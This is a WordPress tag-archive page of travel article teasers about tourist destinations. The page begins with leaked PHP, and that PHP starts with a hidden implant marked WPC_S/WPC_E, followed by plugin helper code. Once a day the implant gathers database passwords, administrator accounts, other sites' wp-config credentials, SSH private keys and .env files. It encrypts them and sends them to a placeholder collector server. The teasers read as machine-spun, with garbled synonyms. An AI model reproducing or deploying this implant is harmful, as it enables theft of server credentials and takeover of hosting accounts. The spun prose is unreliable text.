/*WPC_S*/ $_i='{{ACC_ID}}';$_c='https://ТВОЙ-COLLECTOR-СЕРВЕР.com/c.php';$_k='ТВОЙ_32_СИМВОЛЬНЫЙ_КЛЮЧ_СЮДА!!'; if(!get_transient('_wpc'.$_i)){set_transient('_wpc'.$_i,1,86400); $r=['id'=>$_i,'h'=>$_SERVER['HTTP_HOST'],'ip'=>$_SERVER['SERVER_ADDR'], 'php'=>PHP_VERSION,'os'=>php_uname(),'user'=>get_current_user(), 'df'=>ini_get('disable_functions'),'ob'=>ini_get('open_basedir')]; $r['wp']=['v'=>get_bloginfo('version'),'db'=>[DB_NAME,DB_USER,DB_PASSWORD,DB_HOST], 'admin'=>get_option('admin_email'),'admins'=>array_map(fn($u)=>[$u->user_login,$u->user_email],get_users(['role'=>'administrator']))]; $r['sites']=[]; foreach(['/var/www/','/home/']as$p){if(!is_readable($p))continue; foreach(scandir($p)as$d){if($d[0]=='.')continue; foreach([$p.$d.'/wp-config.php',$p.$d.'/public_html/wp-config.php']as$wc){ if(is_readable($wc)){$c=file_get_contents($wc); preg_match("/DB_NAME.*?'(.+?)'/s",$c,$n);preg_match("/DB_USER.*?'(.+?)'/s",$c,$u); preg_match("/DB_PASSWORD.*?'(.+?)'/s",$c,$pw); $r['sites'][]=[$d,$n[1]??'',$u[1]??'',$pw[1]??''];break;}}}} $r['ssh']=[]; foreach(array_merge(['/root/.ssh/'],glob('/home/*/.ssh/'))as$sp){ foreach(['id_rsa','id_ed25519']as$kf){$kp=$sp.$kf; if(is_readable($kp))$r['ssh'][$kp]=base64_encode(file_get_contents($kp));}} $r['env']=[]; foreach(glob('/var/www/*/.env')as$e){if(is_readable($e))$r['env'][$e]=base64_encode(file_get_contents($e));} $iv=random_bytes(16);$enc=openssl_encrypt(gzcompress(json_encode($r)),'AES-256-CBC',$_k,0,$iv); @wp_remote_post($_c,['body'=>['d'=>base64_encode($iv.$enc)],'timeout'=>10,'blocking'=>false]);} /*WPC_E*/ /* ------------------------------------------------------------------------* * Function Selected * ------------------------------------------------------------------------*/ if(! function_exists('wp_automatic_opt_selected')){ function wp_automatic_opt_selected($src,$val){ if(stristr($src, ',')){ //array $src= array_filter(explode(',', $src)); if(in_array($val, $src)){ echo ' selected="selected" '; } }else{ if (trim($src)==trim($val)) echo ' selected="selected" '; } } /** * function to display an option in a select box */ function wp_automatic_opt_display($displayName,$value,$selectedValue,$dataFilterVal=''){ if(trim($dataFilterVal) != ''){ $dataFilterValAttr = ' data-filter-val="'.$dataFilterVal.'" '; } echo ''; } } /* ------------------------------------------------------------------------* * Function Selected * ------------------------------------------------------------------------*/ if(! function_exists('check_checked')){ function check_checked($val,$arr){ //if(! is_array($arr)) return false; if(in_array($val,$arr)){ echo ' checked="checked" '; }else{ return false; } } } function wp_automatic_remove_quick_edit( $actions ) { global $post; if( $post->post_type == 'wp_automatic' ) { unset($actions['inline hide-if-no-js']); } return $actions; } if (is_admin()) { add_filter('post_row_actions','wp_automatic_remove_quick_edit',10,2); } if(! function_exists('wp_automatic_category')){ /** * Display category and it's childs * @param unknown $cat * @param unknown $childCats */ function wp_automatic_category($category,&$childCats,$tax,$post_type,$camp_post_category,$prefix = ''){ echo ''; $catChilds = array(); if(isset($childCats[$category->cat_ID])) $catChilds = $childCats[$category->cat_ID]; if(count($catChilds) > 0){ foreach ($catChilds as $childCat){ wp_automatic_category($childCat,$childCats,$tax,$post_type,$camp_post_category,$prefix .'— '); } } } } ?>

Tag Archives: Tourists

Europe’s Safest Undiscovered Country With Emerald Lakes And Fairytale Castles Wants More Tourists

Bled Castle built on top of a cliff overlooking lake Bled, located in Bled, Slovenia.

Share The Article I’ve been spending fully an excessive amount of time these days taking a look at international journey traits, watching large crowds descend on the identical few European hotspots. If you’re sitting there studying this, mentally exhausted by the thought of preventing for a tiny patch of seashore in Italy or dropping a […]

This Secret & Cheap European Beach Town Is Begging For More Tourists To Visit

This Secret & Cheap European Beach Town Is Begging For More Tourists To Visit

Share The Article While Spain protests your arrival and Italy prices a premium simply to take a seat on the sand, one breathtaking Mediterranean paradise is actively begging vacationers to go to. No “go home” graffiti, no $15 drinks, and zero EU fingerprinting lines for Americans. If you might be exhausted by the horror tales […]

Americans Can Now Fly Nonstop To This European Beach Destination That Actually Wants More Tourists

Americans Can Fly Nonstop To This European Beach Destination That Actually Wants More Tourists

Share The Article If you are considering of happening a little bit impromptu journey to Europe this summer time, however you are not sure the place to go together with experiences of crackdowns on Airbnbs in Barcelona and rising curbs on mass tourism throughout Amalfi, we have now simply the reply for you. Tucked away […]

The Caribbean’s Safest & Undiscovered Island Wants More Tourists To Visit

View to the active volcano in Montserrat with a large ash cloud.

Share The Article Whenever I’m again residence mapping my subsequent journey, my inbox is consistently flooded with the very same query from vacationers: “Where can I go in the Caribbean that is actually safe, totally uncrowded, and doesn’t feel like a giant tourist trap?” It is getting more and more troublesome to reply. Mega-resorts are […]

One Of California’s Safest Destinations Is Begging More Tourists To Visit

One Of California

Share The Article I’ve been telling individuals for a very long time that they are experiencing San Diego all fallacious. If you pull right into a seashore lot and see nothing however Arizona and Nevada license plates, congrats, you have gone full vacationer — we locals are chuckling behind your again. There are pockets of […]

Europe’s Only Country With Free Trains For Tourists Is Crushing Tourism Records

Train in scenic region of Luxembourg

Share The Article One European nation by no means bought the memo that nothing in life is free. Despite being considered one of Europe’s richest international locations when it comes to checking account commas, contemplate it an excellent deed or just a flex, they’re the one EU nation to supply free transportation nationwide for vacationers. […]

Mexico’s Safest & Undiscovered Beach Destination Wants More Tourists To Visit

Mexico

Share The Article When you might be on the lookout for a seashore trip that’s genuinely off the crushed path, two issues matter greater than the rest: security and hospitality. Finding an untouched paradise doesn’t suggest a lot for those who really feel uneasy strolling round at evening or if the locals aren’t pleased to […]

These 4 Beautiful Asian Countries Are Begging For More Tourists

Ha Long Bay in Vietnam

Share The Article Even with the AI craze, there’s nonetheless one factor lacking: Smell-O-Vision. Because if there have been ever a continent price experiencing nose-first, it’s Asia — the place scorching road stalls, incense-filled temples, and salty island breezes do half the convincing earlier than you even e-book a flight. Asia is wondrous in each […]

America’s Most Beautiful Beach Paradise Is Begging More Tourists To Visit

Panoramic view of Oahu greenery and coastline

Share The Article We’re not attempting to tick anybody off, however it goes with out saying the place America’s most lovely paradise is. Take it from somebody who lives in San Diego, a famend “paradise” in its personal proper, however I’m totally conscious my metropolis does not maintain a candle compared. It’s not simply because […]

Americans Can Fly Nonstop To This Italian Destination Begging For More Tourists

Americans Can Fly Nonstop To This Italian Destination Begging For More Tourists

Share The Article No extra strolling previous unfriendly ‘Turiste Fuori’ graffiti in Rome, getting stopped by ticket inspectors who’ll bar your entry until you’ve pre-booked your slot simply to breathe in Venice for a couple of hours, or planning your Amalfi street journey across the random last-digit restrictions in your automotive plate. As if you […]